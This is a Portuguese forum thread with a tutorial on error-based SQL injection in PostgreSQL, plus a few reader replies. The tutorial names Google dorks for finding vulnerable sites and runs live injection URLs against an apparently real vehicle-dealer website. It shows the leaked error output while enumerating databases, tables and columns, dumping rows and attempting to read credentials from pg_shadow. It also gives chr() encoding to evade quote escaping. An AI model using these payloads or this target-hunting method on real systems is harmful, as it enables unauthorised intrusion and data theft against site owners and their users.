Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection baseada em erros em PostgreSQL

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection baseada em erros em PostgreSQL

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... explico sobre o SQLi error-based no MySQL, e dou uma introdução bem básica no processo PostgreSQL. Agora vamos detalhá-lo.

    De longe que o MySQL é o banco de dados mais utilizado pelos desenvolvedores, mas, mesmo assim, vez ou outra, nos deparamos com o erro:
    Código:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: SELECT * FROM lalala WHERE lalala=1'2 ^ in /home/path/arquivo.php on line 123
    Warning: pg_num_rows() expects parameter 1 to be resource, boolean given in /home/path/arquivo.php on line 124
    O problema do defacement hoje é que muitos aprendem apenas o ataque em MySQL e acreditam que o restante não lhes é necessário, talvez o Havij faça o serviço todo. De fato, MySQL é o mais difundido e aprendido, mas isso ainda não é motivo para limitar-nos o próprio conhecimento.

    Mas aqui você verá que um ataque simples SQLi em PostgreSQL pode ser até mesmo mais fácil do que no MySQL, bastando apenas decorar algumas keywords a mais. Vou mostrar a maneira de ataque baseada em erros, isto é, quando o UNION não está funcionando.

    Primeiramente, vamos selecionar um website vulnerável. Que fique claro: o que você faz está sob sua responsabilidade. Você tem todo direito de testar alguma vulnerabilidade em algum website, desde que seja apenas para, no final, alertar aos administradores sobre a existência da mesma, sem causar danos ao website.
    A seguinte dork me levou a vários websites usando PostgreSQL. Principalmente os websites de veículos e motos. Há grandes chances de ser do mesmo desenvolvedor:
    Código:
    inurl:"eventoview.php?id="
    Mas você também pode procurar diretamente por erros. Se a página onde o erro ocorre estiver com graves problemas, como um link não iniciado (conexão ao PG não foi feita), você não poderá atacar por ali, mas já saberá que o website utiliza este tipo de banco de dados. Logo, poderá procurar em outros locais, no website, focos de ataque.
    Código:
    intext:"Warning: pg_exec"
    No meu caso, peguei esse website:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=1'1
    Resposta de erro:
    Código:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: syntax error at or near "\" LINE 1: SELECT * FROM emp011.evento_fotos WHERE id_evento=1\'1 ^ in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    
    Warning: pg_num_rows() expects parameter 1 to be resource, boolean given in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 65
    
    Warning: pg_num_fields() expects parameter 1 to be resource, boolean given in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 67
    Como estaremos trabalhando com error-based, é claro que nós precisamos que o display_errors do PHP do servidor esteja ativo. E, neste caso, como pudemos ver, está.
    Agora, vamos começar com uns testes, para confirmar a vulnerabilidade:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=1--+
    Neste caso, a notícia foi exibida corretamente. Ok.
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=0--+
    Neste casoo, a notícia não foi exibida, e também não foi mostrado nenhum erro. Ok.

    O segredo: Tudo o que iremos fazer é tentar transformar strings para inteiros, o que não é possível. Ele dará um erro (óbvio) e a mensagem de erro nos trará os resultados.
    Vamos iniciar, como exemplo, obtendo a versão (version()).
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast(version()%20as%20int)--+
    Agora veja como o sucesso vem do erro. Vejamos a primeira mensagem de erro:
    Código:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 9.0.4 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50), 32-bit" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    O resultado da nossa consulta está entre aspas. O erro significa que não foi possível convertê-lo para inteiro. Já sabemos que a versão é "PostgreSQL 9.0.4 on i686-pc-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50), 32-bit".

    Agora, vamos obter os nomes dos bancos de dados. Para isso, fazemos:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%200)%20as%20int)--+
    Note que em volta de ( e ) há outra query. Ela deve retornar apenas um resultado (uma linha, uma coluna). Esse resultado será convertido para int (ou não).
    O erro foi:
    Código:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "template1" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Já consegue dizer qual o nome do primeiro banco de dados? Acertou quem disse "template1".
    Agora, vamos alterando o "offset 0" no final da query para 1, 2, 3... Até se acabarem os bancos de dados. Veja:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%201)%20as%20int)--+
    
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "template0" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%202)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "postgres" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%203)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "cep_new" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%204)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "areacliente" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%205)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "at_webpav" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    E assim por diante. Até que:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20datname%20from%20pg_database%20limit%201%20offset%2056)%20as%20int)--+
    Neste caso, a página apareceu completamente vazia. Isto quer dizer que já navegamos por todos os bancos de dados.

    Mas pode acontecer que não sejam nomes muito sugestivos. Precisamos pegar o nome do banco de dados atualmente selecionados.
    No MySQL, temos a função database(), que já nos retorna o nome do banco de dados atual. No PGSQL, não muda muito: current_database().
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast(current_database()%20as%20int)--+
    (Note que, como é uma função única, não precisamos envolver com (), como é o caso das queries.)
    Código:
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "webpav" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Já temos o nome do banco de dados atual: webpav.

    Ah, sim, as tabelas!
    Se você já entende de MySQL, essa parte você vai tirar de letra.
    Vamos precisar ir alterando o offset até pegar todas as tabelas.
    Veja que concatenamos o nome do banco de dados (coluna table_schema) ao qual a tabela pertence, ao nome da tabela (coluna table_name). Mais detalhes sobre concatenação nas dicas, ao final deste tutorial.
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20table_schema%20||%20chr(58)%20||%20table_name%20from%20information_schema.tables%20limit%201%20offset%200)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "emp998:acessofuncchat" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20table_schema%20||%20chr(58)%20||%20table_name%20from%20information_schema.tables%20limit%201%20offset%201)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "pg_catalog:pg_type" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Agora, vamos obter as colunas da tabela "acessofuncchat".

    Vamos converter o nome da tabela para ASCII (vide dicas).
    chr(97) || chr(99) || chr(101) || chr(115) || chr(115) || chr(111) || chr(102) || chr(117) || chr(110) || chr(99) || chr(99) || chr(104) || chr(97) || chr(116)
    Agora, basta incluir isso na query, como se fosse no MySQL. Vamos também ir alterando o offset.
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20column_name%20from%20information_schema.columns%20where%20table_name=chr(97)%20||%20chr(99)%20||%20chr(101)%20||%20chr(115)%20||%20chr(115)%20||%20chr(111)%20||%20chr(102)%20||%20chr(117)%20||%20chr(110)%20||%20chr(99)%20||%20chr(99)%20||%20chr(104)%20||%20chr(97)%20||%20chr(116)%20limit%201%20offset%200)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "id" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    [code]http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20colu mn_name%20from%20information_schema.columns%20wher e%20table_name=chr(97)%20||%20chr(99)%20||%20chr(1 01)%20||%20chr(115)%20||%20chr(115)%20||%20chr(111 )%20||%20chr(102)%20||%20chr(117)%20||%20chr(110)% 20||%20chr(99)%20||%20chr(99)%20||%20chr(104)%20|| %20chr(97)%20||%20chr(116)%20limit%201%20offset%20 1)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "id_funcionariochat" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64

    Vamos parar por aqui, há mais colunas, mas minha intenção não é invadir esse website, e sim, apenas usar como exemplo para provar uma vulnerabilidade. Por isso, vamos agora obter os dados dessas irrelevantes colunas.
    Só pra constar, essa é a parte mais fácil.
    Precisamos dispor o nome da tabela precedido de um ponto e do nome do banco de dados. Assim: banco.tabela (tal qual no MySQL). Veja:
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20id%20||%20chr(58)%20||%20id_funcionariochat%20from%20emp998.acessofuncchat%20limit%201%20offset%200)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid input syntax for integer: "1:1" in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Obtivemos duas IDs, tal qual o nome das colunas nos sugeria. Fim do trampo!

    Obtendo credenciais do servidor
    O PGSQL guarda credenciais na tabela "pg_shadow". Comumente, não há permissões para acessá-la, mas não custa nada tentar...
    Código:
    http://www.prolinkveiculos.com.br/eventoview.php?id=11%20and%201=cast((select%20usename%20||%20chr(58)%20||%20passwd%20from%20pg_shadow%20limit%201%20offset%200)%20as%20int)--+
    Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: permission denied for relation pg_shadow in /home/prolinkveiculos.com.br/www/config/classes/classdb.php on line 64
    Não há permissões. Tentamos, e quebramos a cara, mas tentamos.

    Dicas:

    Para concatenar, você deve usar ||. Por exemplo:
    SELECT version()||current_database()

    Contra addslashes()/magic_quotes, você deve utilizar chr(). Pode convertê-lo pela função ord() do PHP, ou por Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....
    Digite o conteúdo no campo "TEXT", pegue o conteúdo do campo "ASCII DEC / CHAR". Envolva cada grupo de dígitos por chr() e substitua os espaços por || . Exemplo:
    <=>
    60 61 62
    chr(60) || chr(61) || chr(62)
    Sabe o que isso me lembra?




    Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



    Notify-list · Twitter · Blog

    Nova lei: Invadir computadores protegidos é crime.
    Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)
    Similar Threads

  • Font Size
    #2
    ótimo tutorial, vai ajudar muito

    Comment


    • Font Size
      #3
      muito bom seu tutorial mas , foda que eu to me confundindo na parte que aparece o % isso é obrigatorio ou é do sei navegador ?

      Comment


      • Font Size
        #4
        Resposta /\

        Esse sinal % significa que você deu space no navegador! Por exemplo
        voce digita "order by" no lugar do space ele vai colocar %20


        Agradeça...

        Comment

        X
        Working...
        X